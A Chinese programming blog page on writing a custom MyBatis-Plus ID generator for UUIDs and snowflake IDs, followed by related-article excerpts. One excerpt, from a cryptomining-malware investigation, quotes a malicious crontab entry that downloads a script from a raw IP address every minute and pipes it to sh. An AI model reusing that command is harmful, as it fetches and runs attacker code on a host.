重寫mybatisPlus自定義ID生成策略

1.項目中需要引入mybatisplus核心組件

            <dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>${mp.version}</version></dependency>

2.新建一個類實現IdentifierGenerator,重寫id生成策略

import com.baomidou.mybatisplus.core.incrementer.IdentifierGenerator;import java.util.UUID;public class CustomUUIDGenerator implements IdentifierGenerator {@Overridepublic boolean assignId(Object idValue) {return IdentifierGenerator.super.assignId(idValue);}//重寫雪花id算法@Overridepublic Number nextId(Object entity) {return SequenceUtil.makeId();}//重寫uuid算法,不過濾-@Overridepublic String nextUUID(Object entity) {return UUID.randomUUID().toString();}
}

3.在mybatisplus配置文件中注入bean


@Configuration
public class MybatisPlusConfig {@Beanpublic IdentifierGenerator identifierGenerator() {return new CustomUUIDGenerator();}}

4.在實體bean映射類中使用需要在ID字段上加入注解

ASSIGN_UUID即為重寫后生成的UUID,原生成的uuid為32位,沒有-連接符,id需要使用String類型

@TableId(value = "id", type = IdType.ASSIGN_UUID)
ASSIGN_ID即為重寫后生成的雪花id,值為Long類型
@TableId(value = "workspaceid", type = IdType.ASSIGN_ID)

此方法為重寫覆蓋原生mybatisplus,所以不影響其他地方,id依然會在insert時自動生成.

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/23292.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/23292.shtml
英文地址,請注明出處:http://en.pswp.cn/web/23292.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

直接寫和放在函數中不同的R語言用法

索引數據框中的某一列 df$A可以索引數據框df中列名為A的列的所有值。那么假如列名是一個R對象怎么做&#xff1f; df <- data.frame(A1:5, B(1:5)*2)df$A## [1] 1 2 3 4 5needed_column A# df$needed_column ? Wrong# 注意是雙方括號 df[[needed_column]]## [1] 1 2 3 4…

微信小程序bindgetphonenumber獲取手機號阻止冒泡觸發

問題&#xff1a;點擊手機號彈出微信的手機號驗證組件&#xff0c;這是可以的。但是我點擊車牌號&#xff0c;也彈出來了&#xff0c;這就郁悶了。 以下是解決方法 點擊手機號時&#xff0c;彈出選擇手機號 解決&#xff1a; <view style"display: flex;justify-conte…

Pandas處理時間差的4種表達方式

在Pandas中處理時間差&#xff08;timedelta&#xff09;時&#xff0c;有多種方式可以表達時間差。以下是總結的Pandas時間差的四種主要表達方式和相關信息&#xff1a; 目錄 一、使用pd.Timedelta直接創建 二、使用DataFrame中計算時間差 三、轉換為分鐘數表示 四、使用…

pdf處理命令合集

安裝weasyprint用于生成pdf 單個文件合成多個pdf linux - Merge / convert multiple PDF files into one PDF - Stack Overflow

除了諾貝爾獎的紅利,Pasqal 還有哪些實力?

內容來源&#xff1a;量子前哨&#xff08;ID&#xff1a;Qforepost&#xff09; 文丨浪味仙 排版丨沛賢 深度好文&#xff1a;3700字丨13分鐘閱讀 摘要&#xff1a;與超導量子比特相比&#xff0c;中性原子量子技術的投資成本相對較低、中性原子量子比特無需布線、還能將單…

【YashanDB知識庫】outline固化執行計劃

【問題分類】性能優化&#xff0c;功能使用 【關鍵字】outline 【問題描述】防止SQL執行計劃突變&#xff0c;用outline固化執行計劃 【問題原因分析】防止SQL執行計劃突變&#xff0c;用outline固化執行計劃 【解決/規避方法】 SQL--創建測試outline&#xff1a;ol_ab/ol…

查看Linux端口占用和開啟端口命令

查看端口的使用的情況 lsof 命令 比如查看80端口的使用的情況 lsof -i tcp:80列出所有的端口 netstat -ntlp查看端口的狀態 /etc/init.d/iptables status開啟端口以開啟端口80為例。 1 用命令開啟端口 iptables -I INPUT -p tcp --dport 80 -j accpet --寫入要開放的端口/…

23 - 每位教師所教授的科目種類的數量(高頻 SQL 50 題基礎版)

23 - 每位教師所教授的科目種類的數量 考點&#xff1a; 排序和分組 selectteacher_id,count(distinct subject_id) cnt fromTeacher group byteacher_id;

使用python把gif轉為圖片

使用python把gif轉為圖片 程序思路效果代碼 程序思路 打開 GIF 文件。確保輸出文件夾存在&#xff0c;如果不存在則創建。獲取 GIF 的幀數。遍歷每一幀&#xff0c;將其保存為單獨的 PNG 圖像&#xff0c;并打印保存路徑。 效果 把這張派大星gif轉為一張張圖片&#xff1a; …

如何搭建一臺永久運行的個人服務器?

一、前言 由于本人在這段時候&#xff0c;看到了一個叫做樹莓派的東東&#xff0c;初步了解之后覺得很有意思&#xff0c;于是想把整個過程記錄下來。 二、樹莓派是什么&#xff1f; Raspberry Pi(中文名為樹莓派,簡寫為RPi&#xff0c;(或者RasPi / RPI) 是為學習計算機編程…

kafka學習筆記 @by_TWJ

目錄 1. 消息重復消費怎么解決1.1. 確保相同的消息不會被重復發送(消費冪等性)1.2. 消息去重1.3. 消息重試機制1.4. kafka怎么保證消息的順序性1.4.1. 利用分區的特征&#xff1a;1.4.2. 解決辦法&#xff1a;1.4.3. 分區分配策略1.4.3.1. RangeAssignor &#xff08;每組(Topi…

一次挖礦病毒的排查過程

目錄 一、查看定時任務二、處理方法 一、查看定時任務 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload發現異常任務&#xff1a; * * * * * wget -q -O - http://1…

用python寫一個集卡模擬器

超市最近在籌備一款水滸主題的卡牌類游戲&#xff0c;將綠林好漢設計成游戲中的一百零八張卡牌&#xff0c;卡牌共有 SSR、SR、R 三種稀有度。 你能編寫程序&#xff0c;讓玩家有 1% 的幾率抽中 SSR 卡、9% 幾率抽中 SR 卡、90% 幾率抽中 R 卡嗎&#xff1f; 數據說明 卡牌數…

【PLG洞察】| 飛書成功之路:關鍵在分銷裂變

引言 隨著企業服務市場的發展&#xff0c;Product-Led Growth&#xff08;PLG&#xff0c;產品驅動增長&#xff09;模式逐漸成為眾多SaaS企業的首選戰略。在這個背景下&#xff0c;字節跳動旗下的企業協作與管理平臺——飛書&#xff0c;憑借其獨特的分銷裂變策略&#xff0c…

【YOLOV8】2.目標檢測-訓練自己的數據集

Yolo8出來一段時間了,包含了目標檢測、實例分割、人體姿態預測、旋轉目標檢測、圖像分類等功能,所以想花點時間總結記錄一下這幾個功能的使用方法和自定義數據集需要注意的一些問題,本篇是第二篇,目標檢測功能,自定義數據集的訓練。 YOLO(You Only Look Once)是一種流行的…

【原創】springboot+mysql村務檔案管理系統設計與實現

個人主頁&#xff1a;程序猿小小楊 個人簡介&#xff1a;從事開發多年&#xff0c;Java、Php、Python、前端開發均有涉獵 博客內容&#xff1a;Java項目實戰、項目演示、技術分享 文末有作者名片&#xff0c;希望和大家一起共同進步&#xff0c;你只管努力&#xff0c;剩下的交…

快速搭建sentence_transformer方法

sentence transformer模型可以將句子進行Embedding。這里使用docker快速構建一個sentence transformer環境&#xff0c;小試牛刀。 準備鏡像 這里Docker的安裝就不介紹了&#xff0c;我們使用Dockerfile來構建我們的鏡像&#xff0c;Dockerfile內容如下&#xff1a; FROM py…

pytorch——貓狗識別

貓狗識別 訓練模型導入需要的包數據加載數據預處理加載數據集并返回對應的圖像和標簽提取標簽信息創建訓練和測試的數據加載器圖像分類CNN的卷積神經網絡模型MYVGG的卷積神經網絡模型AlexNet的卷積神經網絡模型 訓練過程測試過程定義了一個主函數 測試模型導入需要的庫加載之前…

無線模塊應用晶振SG5032VAN

隨著物聯網&#xff08;IoT&#xff09;和無線通信技術的迅速發展&#xff0c;無線模塊已經成為各種智能設備的重要組成部分。在無線模塊中&#xff0c;選擇高性能的時鐘源對于確保系統的穩定性和可靠性至關重要。愛普生SG5032VAN是一款LVDS差分晶振&#xff0c;作為一款高性能…

WINUI——Behavior(行為)小結

前言 在使用MVVM進行WINUI或WPF開發時&#xff0c;Command在某些時候并不能滿足邏輯與UI分離的要求。這時肯定就需要其它技術的支持&#xff0c;Behavior就是一種。在WPF中是有Behavior直接支持的&#xff0c;轉到WINUI后&#xff0c;相對有一些麻煩&#xff0c;于是在此記錄之…